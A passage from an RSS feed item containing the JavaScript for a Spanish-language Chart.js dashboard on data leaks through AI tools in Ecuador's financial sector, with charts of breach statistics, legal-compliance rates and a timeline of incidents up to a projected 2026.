{ tipo:&quot;Informes de auditoría&quot;,    pct:39, riesgo:&quot;MEDIO&quot;,   color:&quot;#9A7E00&quot; },
],
herramientas: [
{ tool:&quot;ChatGPT / GPT-4 / GTP-5.x&quot;,    uso:78, color:&quot;#C91A1A&quot; },
{ tool:&quot;Microsoft Copilot&quot;,  uso:65, color:&quot;#C91A1A&quot; },
{ tool:&quot;Google Gemini&quot;,      uso:54, color:&quot;#D45500&quot; },
{ tool:&quot;Claude (Anthropic)&quot;, uso:38, color:&quot;#D45500&quot; },
{ tool:&quot;DeepSeek&quot;,           uso:29, color:&quot;#9A7E00&quot; },
{ tool:&quot;Otros modelos&quot;,      uso:18, color:&quot;#006BB3&quot; },
],
radarData: [
{ tipo:&quot;Banca Privada&quot;,  val:88 },
{ tipo:&quot;Cooperativas&quot;,   val:72 },
{ tipo:&quot;Seguros&quot;,        val:65 },
{ tipo:&quot;Bolsa/Valores&quot;,  val:79 },
{ tipo:&quot;Fintech&quot;,        val:91 },
{ tipo:&quot;Microfinanzas&quot;,  val:58 },
],
legalData: [
{ art:&quot;Art. 9 - Licitud&quot;,        cumple:14, inc:86 },
{ art:&quot;Art. 19 - Consentimiento&quot;,cumple:22, inc:78 },
{ art:&quot;Art. 32 - Seguridad&quot;,     cumple:18, inc:82 },
{ art:&quot;Art. 38 - Transferencia&quot;, cumple:9,  inc:91 },
{ art:&quot;Art. 44 - Notificación&quot;,  cumple:31, inc:69 },
],
hitos: [
{ año:&quot;2019&quot;,  evento:&quot;Filtración Novaestrat: 20M+ registros expuestos en servidor desprotegido.&quot;, color:&quot;#D45500&quot; },
{ año:&quot;2021&quot;,  evento:&quot;IESS: datos médicos de afiliados accesibles sin autenticación. ~4M afectados.&quot;, color:&quot;#C91A1A&quot; },
{ año:&quot;2022&quot;,  evento:&quot;CNT y operadoras: metadatos de llamadas y ubicación GPS expuestos.&quot;, color:&quot;#D45500&quot; },
{ año:&quot;2023&quot;,  evento:&quot;SRI filtra declaraciones tributarias por API sin control de acceso.&quot;, color:&quot;#C91A1A&quot; },
{ año:&quot;2024&quot;,  evento:&quot;Banca privada: empleados suben contratos y estados de cuenta a ChatGPT.&quot;, color:&quot;#C91A1A&quot; },
{ año:&quot;2025&quot;,  evento:&quot;IA Tools consolida como vector dominante: 70% de fugas financieras. 89 incidentes, 18.3M registros.&quot;, color:&quot;#C91A1A&quot; },
{ año:&quot;2026*&quot;, evento:&quot;PROYECCIÓN — Inicio de año: 117 incidentes, 21M registros proyectados (↑26%). Una misma persona puede aparecer en múltiples filtraciones. IA como vector dominante (75%). Incumplimiento LOPDP sube a 94%.&quot;, color:&quot;#C91A1A&quot; },
],
};&lt;/p&gt;
&lt;p&gt;let chartsBuilt = false;
let charts = {};&lt;/p&gt;
&lt;p&gt;// Chart.js defaults
if (typeof Chart !== &apos;undefined&apos;) {
Chart.defaults.font.family = &quot;&apos;Segoe UI&apos;, system-ui, sans-serif&quot;;
Chart.defaults.color = &quot;#5A607A&quot;;
}&lt;/p&gt;
&lt;p&gt;// Build Charts
function buildChartsEcuador() {
if (chartsBuilt || typeof Chart === &apos;undefined&apos;) return;
chartsBuilt = true;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Pie Chart
const pieCtx = document.getElementById(&quot;chartEcuadorPie&quot;);
if (pieCtx) {
  charts.pie = new Chart(pieCtx, {
    type: &quot;doughnut&quot;,
    data: {
      labels: dashboardData.fuentesFuga.map(d=&amp;gt;d.sector),
      datasets:[{
        data: dashboardData.fuentesFuga.map(d=&amp;gt;d.pct),
        backgroundColor: dashboardData.fuentesFuga.map(d=&amp;gt;d.color),
        borderWidth: 2, borderColor:&quot;#fff&quot;
      }]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      plugins:{
        legend:{ position:&quot;right&quot;, labels:{ boxWidth:12, padding:10, font:{size:11} } },
        tooltip:{ callbacks:{ label: ctx =&amp;gt; ` ${ctx.label}: ${ctx.parsed}%` } }
      },
      animation:{ animateRotate:true, duration:1000 }
    }
  });
}

// Bar Sector Chart
const barCtx = document.getElementById(&quot;chartEcuadorBarSector&quot;);
if (barCtx) {
  charts.bar = new Chart(barCtx, {
    type:&quot;bar&quot;,
    data:{
      labels: dashboardData.sectoresAfectados.map(d=&amp;gt;d.name),
      datasets:[
        { label:&quot;Vía IA Tools&quot;, data:dashboardData.sectoresAfectados.map(d=&amp;gt;d.ia), backgroundColor:&quot;#C91A1A&quot;, borderRadius:4 },
        { label:&quot;Métodos Tradicionales&quot;, data:dashboardData.sectoresAfectados.map(d=&amp;gt;d.trad), backgroundColor:&quot;#D8DFF0&quot;, borderRadius:4 },
      ]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      plugins:{ legend:{ labels:{font:{size:11}} } },
      scales:{
        x:{ grid:{color:&quot;#E8ECFA&quot;}, ticks:{font:{size:10}} },
        y:{ grid:{color:&quot;#E8ECFA&quot;}, ticks:{font:{size:10}, callback: v=&amp;gt;v+&quot;%&quot;}, max:100 }
      }
    }
  });
}

// Radar Chart
const radarCtx = document.getElementById(&quot;chartEcuadorRadar&quot;);
if (radarCtx) {
  charts.radar = new Chart(radarCtx, {
    type:&quot;radar&quot;,
    data:{
      labels: dashboardData.radarData.map(d=&amp;gt;d.tipo),
      datasets:[{
        label:&quot;Nivel de Riesgo IA (%)&quot;,
        data: dashboardData.radarData.map(d=&amp;gt;d.val),
        backgroundColor:&quot;rgba(201,26,26,.15)&quot;,
        borderColor:&quot;#C91A1A&quot;, borderWidth:2,
        pointBackgroundColor:&quot;#C91A1A&quot;, pointRadius:4
      }]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      scales:{
        r:{ min:0, max:100, ticks:{font:{size:9}, stepSize:20},
          grid:{color:&quot;#D8DFF0&quot;}, pointLabels:{font:{size:11}} }
      },
      plugins:{ legend:{ labels:{font:{size:11}} } }
    }
  });
}

// Area Chart
const areaCtx = document.getElementById(&quot;chartEcuadorArea&quot;);
if (areaCtx) {
  const gradRed = areaCtx.getContext(&apos;2d&apos;).createLinearGradient(0,0,0,280);
  gradRed.addColorStop(0,&quot;rgba(201,26,26,.25)&quot;);
  gradRed.addColorStop(1,&quot;rgba(201,26,26,.02)&quot;);
  const gradBlue = areaCtx.getContext(&apos;2d&apos;).createLinearGradient(0,0,0,280);
  gradBlue.addColorStop(0,&quot;rgba(0,107,179,.22)&quot;);
  gradBlue.addColorStop(1,&quot;rgba(0,107,179,.02)&quot;);

  charts.area = new Chart(areaCtx, {
    type:&quot;line&quot;,
    data:{
      labels: dashboardData.evolucionAnual.map(d=&amp;gt;d.año),
      datasets:[
        {
          label:&quot;Víctimas&quot;, data: dashboardData.evolucionAnual.map(d=&amp;gt;d.victimas),
          yAxisID:&quot;y&quot;, borderColor:&quot;#C91A1A&quot;, backgroundColor:gradRed,
          fill:true, tension:.4, borderWidth:2, pointRadius:4, pointBackgroundColor:&quot;#C91A1A&quot;
        },
        {
          label:&quot;Incidentes&quot;, data: dashboardData.evolucionAnual.map(d=&amp;gt;d.casos),
          yAxisID:&quot;y2&quot;, borderColor:&quot;#006BB3&quot;, backgroundColor:gradBlue,
          fill:true, tension:.4, borderWidth:2, pointRadius:4, pointBackgroundColor:&quot;#006BB3&quot;
        }
      ]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      interaction:{ mode:&quot;index&quot;, intersect:false },
      plugins:{ legend:{ labels:{font:{size:11}} } },
      scales:{
        x:{ grid:{color:&quot;#E8ECFA&quot;}, ticks:{font:{size:11}} },
        y:{
          type:&quot;linear&quot;, position:&quot;left&quot;,
          grid:{color:&quot;#E8ECFA&quot;}, ticks:{ font:{size:10}, callback:v=&amp;gt;v&amp;gt;=1000000?`${v/1000000}M`:v }
        },
        y2:{
          type:&quot;linear&quot;, position:&quot;right&quot;,
          grid:{ drawOnChartArea:false },
          ticks:{ font:{size:10} }
        }
      }
    }
  });
}

// Legal Bar Chart
const legalCtx = document.getElementById(&quot;chartEcuadorLegal&quot;);
if (legalCtx) {
  charts.legal = new Chart(legalCtx, {
    type:&quot;bar&quot;,
    data:{
      labels: dashboardData.legalData.map(d=&amp;gt;d.art),
      datasets:[
        { label:&quot;Cumple&quot;, data:dashboardData.legalData.map(d=&amp;gt;d.cumple), backgroundColor:&quot;#008A46&quot;, borderRadius:4, stack:&quot;s&quot; },
        { label:&quot;Incumple&quot;, data:dashboardData.legalData.map(d=&amp;gt;d.inc), backgroundColor:&quot;#C91A1A&quot;, borderRadius:4, stack:&quot;s&quot; },
      ]
    },
    options:{
      indexAxis:&quot;y&quot;,
      responsive:true, maintainAspectRatio:false,
      plugins:{ legend:{ labels:{font:{size:11}} } },
      scales:{
        x:{ stacked:true, max:100, grid:{color:&quot;#E8ECFA&quot;}, ticks:{font:{size:10}, callback:v=&amp;gt;v+&quot;%&quot;} },
        y:{ stacked:true, grid:{display:false}, ticks:{font:{size:11}} }
      }
    }
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;// Render Progress Bars
function renderBarsEcuador(containerId, items, hasRiesgo) {
const el = document.getElementById(containerId);
if (!el) return;
el.innerHTML = &quot;&quot;;
items.forEach(item =&amp;gt; {
const pct = item.pct ?? item.uso;
const label = item.sector ?? item.tipo ?? item.tool;
const color = item.color;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (hasRiesgo) {
    const bgMap = { &quot;CRÍTICO&quot;:&quot;rgba(201,26,26,.07)&quot;, &quot;ALTO&quot;:&quot;rgba(212,85,0,.06)&quot;, &quot;MEDIO&quot;:&quot;rgba(154,126,0,.06)&quot; };
    const brdMap = { &quot;CRÍTICO&quot;:&quot;rgba(201,26,26,.22)&quot;, &quot;ALTO&quot;:&quot;rgba(212,85,0,.18)&quot;, &quot;MEDIO&quot;:&quot;rgba(154,126,0,.16)&quot; };
    const row = document.createElement(&quot;div&quot;);
    row.className = &quot;riesgo-row&quot;;
    row.style.cssText = `background:${bgMap[item.riesgo]||&apos;transparent&apos;};border:1px solid ${brdMap[item.riesgo]||&apos;transparent&apos;}`;
    row.innerHTML = `
      &amp;lt;span class=&quot;riesgo-tag&quot; style=&quot;color:${color}&quot;&amp;gt;${item.riesgo}&amp;lt;/span&amp;gt;
      &amp;lt;div style=&quot;flex:1&quot;&amp;gt;
        &amp;lt;div class=&quot;prog-header&quot;&amp;gt;
          &amp;lt;span&amp;gt;${label}&amp;lt;/span&amp;gt;
          &amp;lt;span style=&quot;color:${color}&quot;&amp;gt;${pct}%&amp;lt;/span&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;prog-track&quot;&amp;gt;
          &amp;lt;div class=&quot;prog-fill&quot; style=&quot;width:0%;background:${color}&quot; data-width=&quot;${pct}%&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;`;
    el.appendChild(row);
  } else {
    const row = document.createElement(&quot;div&quot;);
    row.className = &quot;prog-row&quot;;
    row.innerHTML = `
      &amp;lt;div class=&quot;prog-header&quot;&amp;gt;
        &amp;lt;span&amp;gt;${label}&amp;lt;/span&amp;gt;
        &amp;lt;span style=&quot;color:${color}&quot;&amp;gt;${pct}%&amp;lt;/span&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;prog-track&quot;&amp;gt;
        &amp;lt;div class=&quot;prog-fill&quot; style=&quot;width:0%;background:${color}&quot; data-width=&quot;${pct}%&quot;&amp;gt;&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;`;
    el.appendChild(row);
  }
});
// Animate
setTimeout(() =&amp;gt; {
  el.querySelectorAll(&quot;.prog-fill&quot;).forEach(bar =&amp;gt; {
    bar.style.width = bar.dataset.width;
  });
}, 80);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;// Render Hitos
function renderHitosEcuador() {
const el = document.getElementById(&quot;hitosListEcuador&quot;);
if (!el) return;
el.innerHTML = &quot;&quot;;
dashboardData.hitos.forEach(h =&amp;gt; {
const row = document.createElement(&quot;div&quot;);
row.className = &quot;hito-row&quot;;
row.innerHTML = &lt;code&gt;&amp;lt;span class=&quot;hito-yr&quot; style=&quot;color:${h.color}&quot;&amp;gt;${h.año}&amp;lt;/span&amp;gt;                        &amp;lt;p class=&quot;hito-ev&quot;&amp;gt;${h.evento}&amp;lt;/p&amp;gt;&lt;/code&gt;;
el.appendChild(row);
});
}&lt;/p&gt;
&lt;p&gt;// Animate Counters
function animateCountersEcuador() {
document.querySelectorAll(&quot;.ecuador-dashboard [data-target]&quot;).forEach(el =&amp;gt; {
const target = parseInt(el.dataset.target);
const suffix = el.dataset.suffix || &quot;&quot;;
const prefix = el.dataset.prefix || &quot;&quot;;
let start = 0;
const duration = 1200;
const step = 16;
const increment = target / (duration / step);
const timer = setInterval(() =&amp;gt; {
start += increment;
if (start &amp;gt;= target) {
start = target;
clearInterval(timer);
}
const display = target &amp;gt;= 1000000 ? (start / 1000000).toFixed(1) : Math.floor(start);
el.textContent = prefix + display + suffix;
}, step);
});
}&lt;/p&gt;
&lt;p&gt;// Tab Switching
window.switchTabEcuador = function(idx) {
document.querySelectorAll(&quot;.ecuador-dashboard .tab-pane&quot;).forEach((p, i) =&amp;gt; {
p.classList.toggle(&quot;active&quot;, i === idx);
});
document.querySelectorAll(&quot;.ecuador-dashboard .tab-btn&quot;).forEach((b, i) =&amp;gt; {
b.classList.toggle(&quot;active&quot;, i === idx);
});&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (idx === 1) {
  renderBarsEcuador(&quot;rankingBarsEcuador&quot;, dashboardData.fuentesFuga, false);
  renderBarsEcuador(&quot;herramientasBarsEcuador&quot;, dashboardData.herramientas, false);
}
if (idx === 2) {
  renderBarsEcuador(&quot;docsBarsEcuador&quot;, dashboardData.tiposDoc, true);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;};&lt;/p&gt;
&lt;p&gt;// Initialize
function initEcuadorDashboard() {
buildChartsEcuador();
animateCountersEcuador();
renderHitosEcuador();
}&lt;/p&gt;
&lt;p&gt;// Run when DOM is ready
if (document.readyState === &apos;loading&apos;) {
document.addEventListener(&apos;DOMContentLoaded&apos;, initEcuadorDashboard);
} else {
initEcuadorDashboard();
}
})();
&amp;lt;/script&amp;gt;&lt;/p&gt;
</content:encoded><author>Omar Salazar</author></item></channel></rss>